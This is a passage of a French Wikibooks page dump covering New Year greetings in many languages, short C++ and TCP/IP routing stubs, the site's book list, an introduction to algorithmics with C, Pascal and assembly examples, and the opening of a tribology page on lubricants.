<td>&#1047; &#1085;&#1086;&#1074;&#1099;&#1084; &#1075;&#1086;&#1076;&#1072;&#1084; (<span style="color:#800000">Z novym hodam</span>)</td> </tr> <tr> <td>Birman</td> <td>Hnit thit ku mingalar pa</td> </tr> <tr> <td>Bobo</td> <td>Bonne année</td> </tr> <tr> <td>Bosniaque</td> <td>Sretna nova godina</td> </tr> <tr> <td>Breton</td> <td>Bloavezh mat</td> </tr> <tr> <td>Bulgare</td> <td>&#1095;&#1077;&#1089;&#1090;&#1080;&#1090;&#1072; &#1085;&#1086;&#1074;&#1072; &#1075;&#1086;&#1076;&#1080;&#1085;&#1072; (<span style="color:#800000">Chestita nova godina</span>)</td> </tr> <tr> <td>Cantonais</td> <td style="color:#800000">Kung hé fat tsoi</td> </tr> <tr> <td>Catalan</td> <td>Feliç any nou</td> </tr> <tr> <td>Chinois</td> <td style="color:#800000">Xīn nián kuài lè</span> / 新年好 (<span style="color:#800000">Xīn nián hǎo</span>)</td> </tr> <tr> <td>Coréen</td> <td style="color:#800000">Seh heh bok mani bat uh seyo</td> </tr> <tr> <td>Corse</td> <td>Pace è salute</td> </tr> <tr> <td>Créole antillais</td> <td>Bon lannéé</td> </tr> <tr> <td>Créole guadeloupéen</td> <td>Bon lanné</td> </tr> <tr> <td>Créole guyanais</td> <td>Bon nannen / bon lannen</td> </tr> <tr> <td>Créole haitien</td> <td>Bònn ané</td> </tr> <tr> <td>Créole martiniquais</td> <td>Bon lanné / bonanné</td> </tr> <tr> <td>Créole mauricien</td> <td>Banané</td> </tr> <tr> <td>Créole réunionnais</td> <td>Bone-érèz ané</td> </tr> <tr> <td>Créole seychellois</td> <td>Mon swet zot la bonn anen</td> </tr> <tr> <td>Croate</td> <td>Sretna nova godina</td> </tr> <tr> <td>Danois</td> <td>Godt nyt&aring;r</td> </tr> <tr> <td>Espagnol</td> <td>Feliz año nuevo - prospero año nuevo </td> </tr> <tr> <td>Espéranto</td> <td>Feliĉan novan jaron ''"Féli'''tchann''' nov'''ann''' yarr'''onn'''"'' </td> </tr> <tr> <td>Estonien</td> <td>Head uut aastat</td> </tr> <tr> <td>Finnois</td> <td>Onnellista uutta vuotta</td> </tr> <tr> <td>Flamand</td> <td>Gelukkig nieuwjaar</td> </tr> <tr> <td>Frioulan</td> <td>Bon an</td> </tr> <tr> <td>Gaélique d'écosse</td> <td>Bliadhna mhath ur</td> </tr> <tr> <td>Gaélique d'irlande</td> <td>Ath bhliain faoi mhaise</td> </tr> <tr> <td>Galicien</td> <td>Feliz aninovo</td> </tr> <tr> <td>Gallois</td> <td>Blwyddyn newydd dda</td> </tr> <tr> <td>Grec</td> <td> ΚΑΛΗ ΧΡΟΝΙΑ (<span style="color:#800000">Kali chronia / <span style="color:#800000">Kali xronia)<br />Eutichismenos o kainourgios chronos</span> (nous vous souhaitons une bonne année)</td> </tr> <tr> <td>Guaraní</td> <td>Rogüerohory año nuévo-re</td> </tr> <tr> <td>Hawaiien</td> <td>Hauoli makahiki hou</td> </tr> <tr> <td>Hébreu</td> <td>Shana tova</td> </tr> <tr> <td>Hindi</td> <td style="color:#800000">Nav varsh ki subhkamna</td> </tr> <tr> <td>Hongrois</td> <td>Boldog új évet</td> </tr> <tr> <td>Indonésien</td> <td>Selamat tahun baru</td> </tr> <tr> <td>Islandais</td> <td>Farsælt komandi ár</td> </tr> <tr> <td>Italien</td> <td>Felice anno nuovo, buon anno</td> </tr> <tr> <td>Japonais</td> <td>Akemashite omedetô</td> </tr> <tr> <td>Kabyle</td> <td style="color:#800000">Asseguèsse-ameguèsse</td> </tr> <tr> <td>Kannada</td> <td style="color:#800000">Hosa varshada shubhaashayagalu</td> </tr> <tr> <td>Khmer</td> <td style="color:#800000">Sur sdei chhnam thmei</td> </tr> <tr> <td>Kinyarwanda</td> <td style="color:#800000">Umwaka mwiza</td> </tr> <tr> <td>Kirundi</td> <td style="color:#800000">Umwaka mwiza</td> </tr> <tr> <td>Kurde</td> <td style="color:#800000">Sala we ya nû pîroz be</td> </tr> <tr> <td>Languedocien (occitan)</td> <td>Bona annada</td> </tr> <tr> <td>Lao</td> <td>Sabai di pi mai</td> </tr> <tr> <td>Latin</td> <td>Felix sit annus novus</td> </tr> <tr> <td>Letton</td> <td>Laim&#299;go Jauno gadu</td> </tr> <tr> <td>Lingala</td> <td>Bonana / mbula ya sika elamu na tonbeli yo</td> </tr> <tr> <td>Lituanien</td> <td>Laiming&#371; nauj&#371;j&#371; met&#371;</td> </tr> <tr> <td>Luxembourgeois</td> <td>E gudd neit Joër</td> </tr> <tr> <td>Macédonien</td> <td style="color:#800000">Srekna nova godina</td> </tr> <tr> <td>Malais</td> <td>Selamat tahun baru</td> </tr> <tr> <td>Malgache</td> <td>Arahaba tratry ny taona</td> </tr> <tr> <td>Maltais</td> <td>Sena gdida mimlija risq</td> </tr> <tr> <td>Maori</td> <td>Kia hari te tau hou</td> </tr> <tr> <td>Mongol</td> <td style="color:#800000">shine jiliin bayariin mend hurgeye (&#1064;&#1080;&#1085;&#1101; &#1078;&#1080;&#1083;&#1080;&#1081;&#1085; &#1073;&#1072;&#1103;&#1088;&#1099;&#1085; &#1084;&#1101;&#1085;&#1076; &#1093;v&#1088;&#1075;&#1101;&#1077;)</td> </tr> <tr> <td>Moré</td> <td>W&ecirc;nd na k&ocirc;-d yuum-songo</td> </tr> <tr> <td>Néerlandais</td> <td>Gelukkig nieuwjaar</td> </tr> <tr> <td>Népalais</td> <td>Naya barsa ko SubhakAmna</td> </tr> <tr> <td>Norvégien</td> <td>Godt nytt &aring;r</td> </tr> <tr> <td>Occitan</td> <td>Bona annada</td> </tr> <tr> <td>Ourdou</td> <td style="color:#800000">Naya saal mubarik</td> </tr> <tr> <td>Persan</td> <td> سال نو مبارك (<span style="color:#800000">Sâle no mobârak<span>)</td> </tr> <tr> <td>Polonais</td> <td>Szcz&#281;&#347;liwego nowego roku</td> </tr> <tr> <td>Portugais</td> <td>Feliz ano novo</td> </tr> <tr> <td>Provençal</td> <td>Bòna annada / bono annado (provençal rhodanien)</td> </tr> <tr> <td>Roumain</td> <td>Un an nou fericit / La mul&#355;i ani</td> </tr> <tr> <td>Russe</td> <td>&#1057; &#1053;&#1086;&#1074;&#1099;&#1084; &#1043;&#1086;&#1076;&#1086;&#1084; (<span style="color:#800000">s novim godom</span>)</td> </tr> <tr> <td>Samoan</td> <td>Ia manuia le tausaga fou</td> </tr> <tr> <td>Sarde</td> <td>Bonu annu nou</td> </tr> <tr> <td>Serbe</td> <td>Srečna nova godina</td> </tr> <tr> <td>Shona</td> <td>Goredzwa rakanaka</td> </tr> <tr> <td>Sindhi</td> <td style="color:#800000">nain saal joon wadhayoon</td> </tr> <tr> <td>Slovaque</td> <td>Štastlivy novy rok</td> </tr> <tr> <td>Slovène</td> <td>Srečno novo leto</td> </tr> <tr> <td>Sobota</td> <td>Dobir leto</td> </tr> <tr> <td>Suédois</td> <td>Gott nytt &aring;r</td> </tr> <tr> <td>Suisse-allemand</td> <td>Äs guets nöis</td> </tr> <tr> <td>Swahili</td> <td>Mwaka mzuri</td> </tr> <tr> <td>Tagalog</td> <td>Manigong bagong taon</td> </tr> <tr> <td>Tahitien</td> <td>Ia orana i te matahiti api</td> </tr> <tr> <td>Tamoul</td> <td style="color:#800000">iniya puthandu nalvazhthukkal</td> </tr> <tr> <td>Tatar</td> <td>Yana yel belen</td> </tr> <tr> <td>Tchèque</td> <td>Š&#357;astn´y nov´y rok</td> </tr> <tr> <td>Telugu</td> <td style="color:#800000">nuthana samvathsara subhakankshalu</td> </tr> <tr> <td>Thai</td> <td>&#3626;&#3623;&#3633;&#3626;&#3604;&#3637;&#3611;&#3637;&#3651;&#3627;&#3617;&#3656; (<span style="color:#800000">sawatdii pima&iuml;</span>)</td> </tr> <tr> <td>Tibétain</td> <td>Tashi délek</td> </tr> <tr> <td>Turc</td> <td>Mutlu yıllar / yeni yılınız kutlu olsun.</td> </tr> <tr> <td>Udmurt</td> <td style="color:#800000">Vy&#318; aren</td> </tr> <tr> <td>Ukrainien</td> <td style="color:#800000">Z novym rokom</td> </tr> <tr> <td>Vietnamien</td> <td>Chúc m&#7915;ng n&#462;m m&#7899;i / cung chúc tân niên / cung chúc tân xuân</td> </tr> <tr> <td>Wallon (orthographe à betchfessîs)</td> <td>Bone annéye / bone annéye èt bone santéye</td> </tr> <tr> <td>Yiddish</td> <td>A gut yohr</td> </tr> </table> [[Catégorie:Dire dans le monde|Bonne année]] Programmation C plus plus Membres 2174 13799 2004-12-29T01:05:29Z Guillaumito 46 Les membres d'une classe (champs ou méthodes) peuvent être de trois natures différentes : *publics (<code>public</code>) ; *protégés (<code>protected</code>) ; *privés (<code>private</code>). Pour l'instant nous nous contenterons de décrire les membres publics et privés, les membres protégés seront vus au moment de l'héritage. TCP/IP Routage 2175 13800 2004-12-29T11:46:50Z Guillaumito 46 /* Table de routage */ ajouts {{ébauche}} {{TCP/IP}} ==Routeur== Un routeur est un dispositif reliés à au moins deux réseaux, dont le travail est de déterminer le prochain nœud du réseau auquel un paquet de données doit être envoyé. Pour ce faire un routeur utilise une « table de routage ». ''Plus d'infos sur [[w:fr:Routeur|Wikipédia]].'' ==Table de routage== La table de routage établie la correspondance entre une machine destination, le prochain routeur et l'interface réeau à utiliser pour suivre ce chemin. Wikilivres:Liste de tous les livres 2176 44790 2006-06-17T02:02:48Z Nicombo 684 /* Médecine */ Ceci est la liste de tous les '''wikilivres''' disponibles. Cette liste est complémentaire à d'autres méthodes de classification des livres (Catégorie, Étagère, Portails). Elle se veut exhaustive et permet d'avoir le titre complet de chaque livre, ainsi que de brèves notes descriptives. == Arts == === Beaux arts === * [[Dessin]] [[Image:25%.png]] * [[Peinture]] [[Image:25%.png]] * [[Art culinaire]] [[Image:25%.png]] === Musique === ==== Théorie ==== * [[Bases de solfège]] [[image:25%.png]] ==== Instruments ==== * [[Guitare basse]] [[image:25%.png]] ====Histoire de la musique==== * [[Principales époques]] === Photographie === * [[Photographie|Photographie]] [[Image:25%.png]] Art, mais aussi sciences et techniques. === Bande dessinée === * [[Astérix]] == Langues == === [[Enseignement des langues|Apprentissage]] === * [[Enseignement de l'allemand|Allemand]] [[image:25%.png]] * [[Enseignement de l'anglais|Anglais]] [[image:25%.png]] * [[Enseignement de l'arabe|Arabe]] [[image:25%.png]] * [[Enseignement du catalan|Catalan]] [[image:25%.png]] * [[Enseignement du chinois|Chinois]] [[image:25%.png]] * [[Enseignement du corse|Corse]] [[image:50%.png]] * [[Cours d'espagnol|Espagnol]] [[image:25%.png]] * [[Enseignement de l'espéranto|Espéranto]] [[image:25%.png]] * [[Enseignement du français|Français]] [[image:25%.png]] * [[Enseignement du hindi|Hindi]] [[image:25%.png]] * [[Enseignement du gujarati|Gujarati]] [[image:25%.png]] * [[Enseignement de l'interlingue (occidental)|Interlingue]] [[image:25%.png]] * [[Enseignement de l'italien|Italien]] [[image:25%.png]] * [[Japonais:Table des matières|Japonais]] [[image:25%.png]] * [[Méthode latine]] [[image:25%.png]] * [[Enseignement du néerlandais|Néerlandais]] [[image:25%.png]] * [[Langue normande|Normand]] [[image:25%.png]] * [[Enseignement du portugais Boas-vindas|Portugais]] [[image:25%.png]] * [[Enseignement du tamoul|Tamoul]] [[image:25%.png]] * [[Enseignement du Toki pona|Toki Pona]] [[image:25%.png]] === Autres === * [[Dire merci dans le monde]] [[image:50%.png]] * [[Dire bonne année dans le monde]] [[image:50%.png]] * [[Dire je t'aime dans le monde]] [[image:25%.png]] * [[Phrases usuelles en différentes langues|Phrases usuelles]] [[image:50%.png]] * [[wikt:Annexe:Dictionnaire_Fructueux|Dictionnaire fructueux]] [[image:25%.png]] * [[Dictionnaire des nuances en français]] [[image:25%.png]] * [[Langage PMS : Phonétique Mus5e Service]] [[image:25%.png]] == Ressources humaines == * [[Formation de Formateur]] == Sciences exactes == === Chimie === * [[Chimie générale]] [[image:75%.png]] * [[Biochimie]] [[image:25%.png]] === Mathématiques === * [[S'initier au boulier en 10 leçons|S'initier au boulier]] [[image:100%.png]] * [[Faire une addition à la main|Addition à la main]] [[image:25%.png]] * [[Algèbre]] [[image:25%.png]] * [[Analyse]] [[image:25%.png]] * [[Algèbre linéaire]] [[image:25%.png]] * [[Algèbre de Boole]] [[image:25%.png]] * [[Introduction à la Géométrie]] [[image:00%.png]] * [[Exercices de mathématiques]] [[image:00%.png]] * [[Mathématiques du traitement du signal]] [[image:00%.png]] === Médecine === * [[Anatomie]] [[image:00%.png]] * [[Physiologie]] [[image:00%.png]] * [[Histologie]] [[image:00%.png]] * [[Embryologie]] [[image:00%.png]] * [[Médecine/Sémiologie|Sémiologie]] [[image:00%.png]] * [[Pharmacologie]] [[image:00%.png]] === Physique === * [[Mécanique , enseignée via l'histoire des sciences]] * [[Thermodynamique]] [[image:25%.png]] * [[Calcul tensoriel]] {{25}} === Sciences de la Terre et de l'Univers === * [[Wikijunior:Système solaire]] (pour enfants) {{25}} === Sciences de la Vie === * [[Biologie cellulaire]] {{25}} * [[Biologie humaine]] {{00}} * [[Wikijunior:Les félins]] (pour enfants) {{25}} * [[Wikijunior:Les dinosaures]] (pour enfants) {{25}} == Sciences humaines et sociales == === Histoire === * [[Histoire de l'Europe]] [[Image:25%.png]] * [[Histoire des États-Unis d'Amérique]] * [[Contexte historique de la Bible]][[Image:25%.png]] * [[Histoire de la France médiévale]] * [[Wikijunior:Les civilisations anciennes]] (pour enfants) {{25}} * [[Wikijunior:Les grandes villes du monde]] (pour enfants) {{25}} * [[Wikijunior:Les grandes dates de l'histoire de France]] (pour enfants) {{25}} === Géographie === === Linguistique === * [[Petit guide de transcription phonétique|La transcription phonétique]] [[Image:25%.png]] * [[Symboles de l'Alphabet Phonétique International utilisés dans la transcription du français|Alphabet phonétique]] [[Image:25%.png]] === Philosophie === * [[Manuel de philosophie (terminale)|Manuel de philosophie]] [[Image:25%.png]] * [[Histoire de la philosophie]] [[Image:25%.png]] === Psychologie === * [[Psychologie de l'enfant et de l'adolescent|L'Enfant et l'Adolescent]] [[Image:25%.png]] * [[Acquisition du language]] [[Image:00%.png]] === Sciences de l'éducation === * [[Histoire]] [[Image:25%.png]] * [[Andragogie]] * [[Didactique]] * [[Pédagogie]][[Image:25%.png]] * [[Sciences d'appui]] === Sociologie === * [[Outils méthodologiques (sociologie)|Outils méthodologiques]] [[Image:25%.png]] === Communication === * [[La médiation culturelle]] == Sciences techniques == === Informatique === ==== Administration ==== * [[Certifications Linux LPI]] [[Image:25%.png]] * [[Groupware]] [[Image:25%.png]] * [[Découverte de MySQL, PostgreSQL et Oracle]] [[Image:100%.png]] ==== [[Programmation]] ==== * [[Programmation Principes|Principes de Programmation]] * [[Programmation Assembleur|Assembleur]] * [[Programmation C|C]] {{50}} * [[Programmation HTML|HTML]] {{50}} * [[Programmation Java|Java]] {{50}} * [[Programmation JavaScript|JavaScript]] {{25}} * [[Programmation LaTeX|LaTeX]] {{75}} * [[Programmation Logo|Logo]] {{75}} * [[Programmation PHP|PHP]] {{50}} * [[Programmation Python interface Tkinter|Python Tkinter]] {{25}} * [[Programmation VBA|VBA]] {{00}} === Tutoriels === * [[Migration Windows NT vers Linux|Migration Windows NT vers Linux (OpenLDAP/SaMBa)]] [[Image:25%.png]] * [[Lire et écrire le japonais sous Debian|Le japonais sous Debian]] & [[Lire et écrire le japonais sous Windows|sous Windows]] [[image:75%.png]] * [[Réseau sous Windows]] [[Image:25%.png]] * [[Lire et Faire des fichiers PDF]] [[Image:25%.png]] * [[Celestia]] == [[Sport]] == * [[Equitation]] [[Image:25%.png]] === Patinage === * [[Apprentissage_du_patin_en_ligne|Apprentissage du patin en ligne]] * [[Matériel]] [[Image:25%.png]] === Escalade === * [[Escalade Historique|Historique]] [[Image:25%.png]] * [[Escalade Terrains|Terrains]] [[Image:25%.png]] * [[Escalade Technique|Technique]] [[Image:25%.png]] * [[Escalade Matériel|Matériel]] [[Image:25%.png]] === [[Unicyclisme]] === * [[Unicyclisme|L'apprentissage]] [[Image:25%.png]] == Technologies == === Industrie === * [[Tribologie - Couverture|Tribologie]] [[Image:75%.png]] (science du frottement) * [[ressort|Les ressorts]] [[Image:50%.png]] === [[Livret techniques|Livrets techniques]] === * [[Batterie d'accumulateurs]] [[Image:100%.png]] === Matériaux === * [[Acier inoxydable]] [[Image:50%.png]] == Vie quotidienne et loisirs == === Bricolage et construction === * [[Construire sa maison]] === Cuisine === * [[Livre de Cuisine]] === Jardinage === * [[Jardinage]] {{1/4}} * [[Outils de jardinage]] {{3/4}} * [[Calendrier du jardinier]] {{3/4}} * [[Compagnonnage]] {{3/4}} * [[Arrosages]] {{0/4}} * [[Préparation du terrain]] {{2/4}} * [[Engrais vert]] {{3/4}} * [[Les maladies et les nuisibles au jardin]] {{1/4}} === Jeux === ==== Jeux de société ==== * [[jeu de GO]] {{25}} ==== [[Jeu vidéo|Jeux vidéo]] ==== * [[Marathon]] {{2/4}} * [[Monkey Island]] {{25}} * [[Prince of Persia]] {{25}} * [[Comment jouer aux jeux vidéo ?]] {{25}} * [[Animal Crossing]] {{25}} === Transports === * [[Guide du vélo en ville]] == Divers == * [[Le Grand Livre du Taupin]]{{25}} * [[carburant]] * [[La Numérologie]] Wikilivres:Pourquoi contribuer au projet Wikilivres ? 2177 35378 2006-03-01T16:36:23Z 86.199.68.235 /* Étudiants */ [[en:Why contribute to the open textbook project ?]] :''En seulement quelques années, et entièrement grâce au travail de bénévoles, [[w:fr:|Wikipedia]] est devenue l'une des encyclopédies majeures de l'Internet (Wikipedia reçoit plus de trafic que l'Encyclopedia Britannica en ligne !). Le projet '''Wikilivres''' tente de réitérer ce succès dans les années à venir.'' ===Professeurs=== Vous avez souvent pensé que vous pourriez présenter bien mieux les choses que tel ou tel auteur ? Voilà votre chance d'agir activement sur la façon dont la connaissance est présentée et organisée, en apportant un matériel utile à vos élèves ainsi qu'à ceux du reste du monde. Les professeurs pourraient aussi considérer le développement d'un livre comme un projet de classe. Les élèves apprendront ainsi non seulement le sujet souhaité, mais aussi l'art et la manière de collaborer avec les autres, ainsi qu'avec d'autre passionnés de la connaissance à travers le monde. De son côté, le professeur peut tirer grand profit de cette expérience, en cela qu'elle lui permettra de mieux comprendre comment les élèves appréhendent l'apprentissage et la découverte de nouvelle notions. ===Étudiants=== L'un des meilleurs moyen d'apprendre quelque chose est de l'expliquer à quelqu'un d'autre. Vous pouvez ainsi contribuer autant à votre propre apprentissage qu'à celui de milliers d'autres. Ici, vous pouvez créér et utiliser les livres consacrés au sujet que vous étudiez. ===Entrepreneurs=== Ce dont vous avez besoin aujourd'hui, c'est d'étudiants prêts à faire le travail que vous leur demanderez de faire demain. Donnez-leur les compétences nécessaires aujourd'hui, et ils pourront toujours s'y référer. ===Philantropes=== Tout le matériel disponible sur ce site est sous une licence qui garantit que l'information restera libre et gratuite pour toujours. Ce qui est créé ici l'est pour l'ensemble des hommes et pour les générations futures. ===Voir aussi=== * [[Wikilivres:Pourquoi ouvrir un de ces livres ?]] * [[Wikilivres:Pourquoi ne pas contribuer au projet Wikilivres ?]] Image:CommonsLogo.png 2179 13803 2004-12-29T14:54:33Z Xillimiandus 134 + redirect. #REDIRECT [[commons:Accueil]] Image:Wikispecies-logo.png 2182 13804 2004-12-29T14:56:13Z Xillimiandus 134 + redirect. #REDIRECT [[wikispecies:Accueil]] Programmation Algorithmique Introduction 2186 43738 2006-06-02T08:04:23Z 80.15.6.86 /* Introduction */ {{Programmation Algorithmique}} ==Introduction== I conjecture that there is no good algorithm for the traveling salesman problem. My reasons are the same as for any mathematical conjecture: (1) It is a legitimate mathematical possibility, and (2) I do not know. Jack Edmonds Tout comme l'homme, la machine calcule! Si vous avez déjà ouvert un livre de recettes de cuisine ou déchiffré un mode d'emploi traduit directement du coréen pour faire fonctionner un magnétoscope ou un répondeur téléphonique réticents, sans le savoir, vous avez déjà exécuté des algorithmes (ne pas confondre avec l'<i>agglo rythmique</i>, qui consiste à poser des parpaings en cadence). Les algorithmes sont des outils pour la résolution de problèmes. Évaluer leur efficacité permet de classer ces problèmes selon leur difficulté intrinsèque. Nous allons dans un premier temps définir précisément ce qu'est un algorithme. Nous présentons ensuite les outils mathématiques nécessaires à l'évaluation de leur efficacité. Nous proposons une typologie des problèmes de décision qui s'appuie sur la difficulté calculatoire de leur résolution. Nous proposons également ce même type de typologie pour les problèmes de recherche. ==Algorithme == Un <b>algorithme</b> est une procédure de calcul constituée d'une suite d'instructions, qui prend en <b>entrée</b> une valeur ou un ensemble de valeurs et qui une fois exécutée correctement, conduit à un résultat donné : une valeur ou un ensemble de valeur appelé <b>sortie</b>. Un algorithme est un outil de résolution d'un <b>problème abstrait</b> bien défini. Celui-ci doit énoncer la relation désirée entre l'entrée et la sortie en des termes généraux mais non-ambigus. Si l'algorithme est <b>correct</b>, la sortie correspond au résultat désiré. On dit alors que l'algorithme <b>résout</b> le problème posé. Un <b>algorithme</b> décrit une procédure de calcul spécifique pour établir cette relation. Il peut exister plusieurs algorithmes candidats pour un problème donné. Il est alors nécessaire de les évaluer. == Analyse algorithmique == Analyser un algorithme consiste à prévoir les ressources qui lui seront nécessaires, en temps et en espace, pour résoudre le problème. La <b>taille de l'entrée</b> est le nombre d'éléments constituant l'entrée. Elle dépend du problème, par exemple, la somme des tailles des listes dans le cas d'un problème de fusion de deux listes. Dans la plupart des cas le temps d'exécution et l'espace mémoire de stockage d'un algorithmique croissent en fonction de la taille de son entrée. L'<b>analyse empirique</b> consiste à étudier la complexité d'un algorithme, en temps et en espace, de manière expérimentale. À cet effet, l'algorithme doit être implémenté et testé sur un ensemble d'entrées de tailles et de compositions différentes. Toutefois cette méthode ne permet de comparer des algorithmes qu'à la condition de disposer d'implémentations réalisées dans un même environnement informatique. D'autre part, les résultats obtenus ne sont pas nécessairement représentatifs de toutes les entrées. L'<b>analyse théorique</b> consiste à évaluer un pseudo-code de l'algorithme. Le <b>temps d'exécution</b> d'un algorithme sur une <b>instance</b>, <i>i.e.</i> une donnée particulière de toutes les données, est le nombre d'opérations élémentaires exécutées, appelées précédemment instructions. L'<b>espace mémoire</b> d'un algorithme sur une instance est le nombre d'éléments manipulés en mémoire à un instant donné de la résolution. Le temps d'exécution pour une entrée quelconque est estimé par une borne supérieure : le <b>temps d'exécution dans le pire des cas</b>, en d'autres termes le plus long temps d'exécution pour une entrée quelconque. Le temps d'exécution peut parfois être estimé à l'aide du <b>temps d'exécution moyen</b> (ou espéré). Il en va de même pour l'espace mémoire. Dans la grande majorité des cas, seul l'ordre de grandeur nous intéresse. == Efficacité asymptotique == Lorsque la complexité d'un algorithme, en temps ou en espace, est exprimée sous la forme d'un polynôme <math>E/T(n)=\Sigma_{i=0}^{p} a_i n^i</math> où <math>n</math> est la taille de l'entrée et les <math>a_i</math> sont des constantes. Nous négligerons non seulement le coefficient constant du premier terme mais également les termes d'ordre inférieur. On note alors <math>T/E(n) \in \theta(n^p)</math> et par abus de langage <math>T/E(n) = \theta(n^p)</math>. Cette notation est explicitée de manière plus formelle dans la définition suivante. ==Notation== Nous utiliserons dans la suite de ce livre un formalisme permettant l'abstraction des algorithmes que nous décrirons, de telle sorte qu'ils soient utilisables quel que soit le language utilisé. Nous donnerons l'équivalence en langage C, en Pascal et en langage assembleur intel pour chaque mot clef. Le but n'est pas ici d'apprendre, ou bien de comparer ces différents langages, mais de fournir des repères, des illustrations au formalisme choisi. ===Types de données=== ====Types de données simples==== Nous utiliserons trois types de données. * ''Entier'' * ''Réel'' * ''Pointeur'' Ils se définisssent de la manière suivante : <pre> unEntier : Entier unRéel : Réel unPointeur : Pointeur </pre> Pour accéder au contenu de la mémoire pointée par une variable de type ''Pointeur'', nous utiliserons le caractère «*». Ainsi pour accéder au contenue de la variable pointée par le pointeur ''unPointeur'', on procédera de la manière suivante : <pre> * unPointeur </pre> Ce qui correspond * En langage C <pre> int unEntier ; double unRéel ; void * unPointeur; </pre> * En Pascal <pre> unEntier : INTEGER ; unRéel : REAL ; unPointeur : ^VOID ; </pre> * En Assembleur Intel L'assembleur intel ne prend pas en compte les types de données, mais la taille des données à réserver dans la mémoire. Ainsi, sur les architectures intel 32 bits, la taille des données est la suivante : * ''Entier'' : 4 Octets * ''Réel'' : 8 Octets * ''Pointeurs'' : 4 Octets La traduction des déclarations proposées donne donc : <pre> unEntier DD ? unRéel DQ ? unPointeur DD ? </pre> ====Types de données composés==== Les types de données composés permettent de rassembler plusieurs variables sous un même nom. Les variables ainsi rassemblées sont appellées les champs de l'enregistrement. Ils sont définis de la manière suivante : <pre> unEnregistrement : Enregistrement unPremierEntier : Entier unDeuxièmeEntier : Entier unRéel : Réel Fin Enregistrement </pre> On accède aux membres d'un enregistrement en utilisant un «.». Dans l'enregistrement précédement défini, pour accéder au champs ''unPremierEntier'', on procèdera donc de la manière suivante : <pre> unEnregistrementInstancié : unEnregistrement unEnregistrementInstancié.unPremierEntier </pre> Ce qui correspond * En langage C <pre> trypedef struct unEnregistrement { int unPremierEntier ; int unDeuxiemeEntier ; double unReel ; } unEnregistrement ; </pre> * En Pascal <pre> TYPE unEnregistrement=RECORD unPremierEntier :INTEGER ; unDeuxiemeEntier :INTEGER ; unReel :REAL ; END ; </pre> * En Assembleur Intel <pre> unEnregistrement STRUC unPremierEntier DD unDeuxiemeEntier DD unReel DQ unEnregistrement ENDS </pre> ===Affectations=== Nous noterons les affectations de la manière suivante : <pre> uneVariable := uneExpression </pre> Ce qui correspond * En langage C <pre> uneVariable = uneExpression </pre> * En Pascal <pre> uneVariable := uneExpression </pre> * En Assembleur Intel <pre> MOV AX, uneExpression MOV uneVariable, AX </pre> ===Exécutions conditionnelles=== Les exécutions conditionnelles correspondent à des branchements dans l'exécution du code du programme, activés ou non en fonction de la valeur de retour du test. Un test peut être une égalité ('='), une inégalité exclusive ('<' ou '>'), une inégalité inclusive ('<=' ou '>='), ou bien une différence ('!='). <pre> SI (test est valide) // Faire quelque chose FIN SI </pre> Il est aussi possible de décrire des branchements alternatifs <pre> SI (test est valide) // Faire quelque chose SINON // Faire autre chose FIN SI </pre> Ce qui correspond * En langage C <pre> if (/*test est valide*/) { // Faire quelque chose } else { // Faire autre chose } </pre> * En Pascal <pre> IF TEST=TRUE THEN BEGIN {Faire quelque chose} END ELSE BEGIN {Faire autre chose} ELSE END ; </pre> * En Assembleur Intel <pre> CMP AH, AL ; comparaison des registres AH et AL JE SI ; si les deux registres sont égaux ; aller à l'étiquette SI SINON : ; Faire autre chose JMP FIN_SI SI : ; Faire quelque chose FIN_SI : </pre> ===Boucle ''Pour''=== Cette boucle permet de répéter un nombre de fois connu à priori un ensemble d'actions (ou instructions). La syntaxe générale d'une boucle Pour est la suivante : ===Boucle ''Tant que''=== ===Fonctions=== La notion de complexité est très importante en algorithmique. Elle consiste à compter le nombre d'opérations d'un algorithme en comptant par exemple les additions, les multiplications, les divisions, les puissances etc... Par exemple, pour un produit de matrices, si l'on résonne d'une manière simple d'après la formule de base pour calculer la valeur d'un coefficient <math> C_{ij} = \sum\limits_{k = 1}^n {A_{ik} B_{kj} } </math>. Sur une matrice <math> n \times n <\math>, on calcule <math> n \times n <\math> coefficients multipliés par le nombre d'opérations pour le calcul du coefficient <math>C_{ij}<\math>. On arrive donc à une complexité en <math> \bigcirc{n^3} <\math>. </math> Tribologie - Lubrifiants liquides 2187 44791 2006-06-17T07:34:45Z 82.237.137.107 /* Huiles synthétiques */ [[Catégorie:Tribologie]] [[Catégorie:Lubrifiant]] {{Tribologie}} Pour l'essentiel, l'étude ci-dessous porte sur les huiles de graissage au sens général du terme mais il ne faut pas négliger certains liquides spéciaux utilisés comme lubrifiants et surtout les fluides hydrauliques présents dans de très nombreux équipements (coupleurs hydrauliques, convertisseurs de couple, directions assistées) ou machines (engins de chantier, de manutention). Ces fluides sont utilisés pour leur aptitude à transmettre de l'énergie mais ils doivent être dotés de propriétés lubrifiantes car ce sont forcément eux, et pas d'autres produits, qui assurent la lubrification des pistons ou autres organes qui les mettent en mouvement. De plus, les normes imposent souvent qu'ils soient iniflammables, ce qui exclut beaucoup de produits courants à base, par exemple, d'huiles de pétrole. == Huiles végétales == Les huiles végétales sont essentiellement constituées d'acides gras, particulièrement d'acide oléique. Contrairement aux huiles de pétrole et aux huiles synthétiques, elles ont l'avantage d'être biodégradables, mais rares sont celles qui sont directement utilisables comme lubrifiants ; la meilleure est sans aucun doute l'huile de ricin, que l'on a parfois utilisée pure. L'huile de colza brute est relativement peu coûteuse mais elle se révèle difficilement utilisable aussi bien comme lubrifiant technique que comme carburant. Son utilisation à huile perdue pour les chaînes de tronçonneuses, par exemple, présente de multiples inconvénients. Dans les moteurs diesel on peut, à ses risques et périls, l'utiliser en mélange à volumes égaux avec du kérosène mais il est préférable de la transformer en ester méthylique de colza (EMC). Cette huile entre cependant dans la composition de quelques lubrifiants biodégradables et dans certaines préparations solubles pour l'usinage des métaux, associée à divers composés chimiques qui empêchent sa décomposition. == Huiles à base minérale == Les bases utilisées actuellement sont des hydrocarbures de diverses familles issus presque exclusivement de la distillation du pétrole. On y ajoute toutes sortes de produits et additifs qui leur confèrent de meilleures propriétés en fonction de l'usage prévu. Les huiles sont classées en un grand nombre de familles : * huiles pour moteurs à essence, * huiles pour moteurs diesel, * fluides hydrauliques, * huiles mouvement, * huiles pour glissières, * huiles pour cylindres, * huiles pour engrenages, * enduits pour câbles, * huiles pour systèmes et transmissions hydrauliques, * huiles pour matériel pneumatique, * huiles pour compresseurs d'air ou de gaz, * huiles pour compresseurs frigorifiques, * huiles pour turbines * huiles pour le travail des métaux par coupe, * huiles pour le travail des métaux par déformation, * huiles pour l'industrie textile, * ... === Bases minérales === Elles appartiennent aux diverses familles d'hydrocarbures et possèdent des propriétés fort différentes : 